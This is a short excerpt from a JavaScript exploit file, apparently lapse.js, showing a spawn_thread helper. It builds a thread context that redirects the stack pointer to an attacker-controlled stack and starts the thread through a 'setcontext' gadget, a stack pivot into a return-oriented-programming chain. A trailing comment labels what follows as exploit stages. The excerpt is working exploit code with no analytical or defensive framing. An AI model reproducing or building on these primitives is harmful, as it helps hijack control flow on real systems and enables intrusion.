Function spawn_thread

g2all/900/lapse.js:455–472

(thread)

}

function spawn_thread(thread) {
    const ctx = new Buffer(context_size);
    const pthread = new Pointer();
    pthread.ctx = ctx;
    // pivot the pthread's stack pointer to our stack
    ctx.write64(0x38, thread.stack_addr);
    ctx.write64(0x80, thread.get_gadget('ret'));

    call_nze(
        'pthread_create',
        pthread.addr,
        0,
        chain.get_gadget('setcontext'),
        ctx.addr,
    );

    return pthread;
}

// EXPLOIT STAGES IMPLEMENTATION